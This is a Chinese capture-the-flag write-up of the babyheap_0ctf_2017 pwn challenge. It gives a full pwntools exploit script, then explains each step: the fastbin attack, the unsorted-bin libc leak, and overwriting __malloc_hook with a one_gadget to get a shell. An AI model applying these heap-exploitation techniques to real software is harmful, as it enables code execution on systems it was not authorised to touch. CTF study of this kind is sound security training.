点击蓝字关注我哦
参考网址:
https://www.cnblogs.com/luoleqi/p/12349714.html
分析
主要还是利用fasbin attack和unsorted的特性(下面会说到)来修改__malloc_hook拿到shell。
这里我来实际走一遍exp的流程,下面的exp我用的是本地的libc。
这里我先把exp放出来,之后会分析exp的每一步操作具体干了什么
#coding:utf-8
from pwn import *
p = process("./babyheap_0ctf_2017_glibc2.23")
context.log_level="debug"
def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def fill(idx,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvline()
return p.recvline()
allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4
free(1)
free(2)
payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)
payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload) # 为了后面malloc做准备,绕过检查
allocate(0x10)
allocate(0x10)
fill(1,'aaaabbbb')
fill(2,'bbbbcccc')
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
allocate(0x60)
allocate(0x60)
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)
allocate(255)
p.interactive()
allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4
free(1)
free(2)
我比较菜,我想看存放结构体的内存地址。只能通过如下方法。
首先执行vmmap命令。可以找到mmap分配的首地址。然后从分配的首地址(0x1b5748c0d000)依次向后查看,这块内存空间应该都是0。只要有数据的地方应该就是存放结构体的地方。
0x1b5748c0dc60
。其实参考链接已经说过了。这里用chunk0来讲解一下。
我把下图当成一个数组,每一个元素都是一个结构体。说白了就是一个结构体数组。
每个结构体有三个元素,第一个元素chunk0的标志位,用来判断该当前结构体是否被使用,如果被使用,则第二个元素是该chunk的大小,第三个元素是chunk的首地址。如果没有被使用,则全部是0。
0x0000000000000001 (chunk0的标志位,1表示该chunk存在) 0x0000000000000010(chunk0的大小)
0x00005640ba838010 (chunk0的地址)
payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)
80
。可以发现此时chunk2的fd指针指向的是chunk4。(大佬的思维真的强。。)0x91
。主要为了绕过malloc的检查。因为我们之后想在chunk4的地方重新malloc。(如果这里不太懂,就向后看)payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload) # 为了后面malloc做准备,绕过malloc检查
0x21
下面的代码用来分配两个chunk,大小都为0x10。还记得我们之前的free(1)
和free(2)
吗?
首先第一个allocate(0x10)
会分配到chunk2,因为此时chunk2是free状态的fastbin。
第二个allocate(0x10)
会分配到chunk4上面。有人会问为什么不会分配到chunk1,仔细看上面的步骤,我们已经把chunk2的fd指针首位覆盖为了0x80
。所以allocate(0x10)
才会分配到chunk4上面。
但是malloc的时候会检查size是否和要分配的大小相同,这就是为什么上面代码中我们要把chunk4的size位修改为0x21
此时你会发现一个问题,chunk2和chunk4指向了同一个内存地址
后面两个fill其实没什么实际用处(删掉也行)
allocate(0x10)
allocate(0x10)
fill(1,'aaaabbbb')
fill(2,'bbbbcccc')
0x91
2、allocate(0x80) 用来分割top chunk和chunk4,防止堆块合并,因为我们后面要free(4)
3、free(4)之后,chunk4会被放到unsorted bin中。此时chunk4的fd指针是 unsorted bin 链表的头部,这个地址为 main_arena + 0x58
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,
所以我们得到fd的值,然后再减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。-----来自参考网址
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "x00")) - (0x3c4b20 + 0x58)
log.info("libc_base: "+hex(libc_base))
2、free(4) 此时即free(chunk6)。
这两步主要用来将chunk4分离出一个fasbin大小的chunk6,然后再free。chunk6进入fastbin。之后我们可以通过修改chunk2修改chunk6的值,然后再malloc,进行fastbin attack,可以任意地址分配。修改任意内存。
allocate(0x60)
free(4)
__malloc_hook
的值。我们先找到__malloc_hook
的地址__malloc_hook
附近的内存空间。我们想要在这范围内进行malloc,就需要绕过malloc的限制。我们发现附近7f
比较多,我们可以找一个内存地址,将7f
当为我们要malloc的size位。
例如如下的内存地址,0x7fd25e3b7aed
。如果我们在这个地址进行malloc,则size位为0x7f。那我们分配一个0x60大小的chunk,即可绕过malloc的限制。
0x3c4aed
。libc_base+0x3c4aed
2、第一个allocate(0x60)分配到chunk6。
3、第二个allocate(0x60)会分配到chunk6的fd指针所指向的地址,即
libc_base+0x3c4aed
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
allocate(0x60)
allocate(0x60)
由于中间程序断了,又重新运行了一下,不过原理都是一样的,地址可能和上面的不太一样了。
两次allocate(0x60)之后,在结构体数组中索引为6的地方即我们在__malloc_hook附近malloc的地方
此时我们编辑6,即可编辑__malloc_hook的内存。
下面即编辑__malloc_hook
的代码,p8(0)*3和p64(0)*2用来内存对齐,libc_base+0x4527a
是一个libc中的one_gadget。
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)
获取shell
allocate(255)
看完记得点赞,关注哟,爱您!
扫码领hacker资料,常用工具,以及各种福利
本文始发于微信公众号(Gamma安全实验室):【PWN系列】 Buuctf babyheap_0ctf_2017 Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论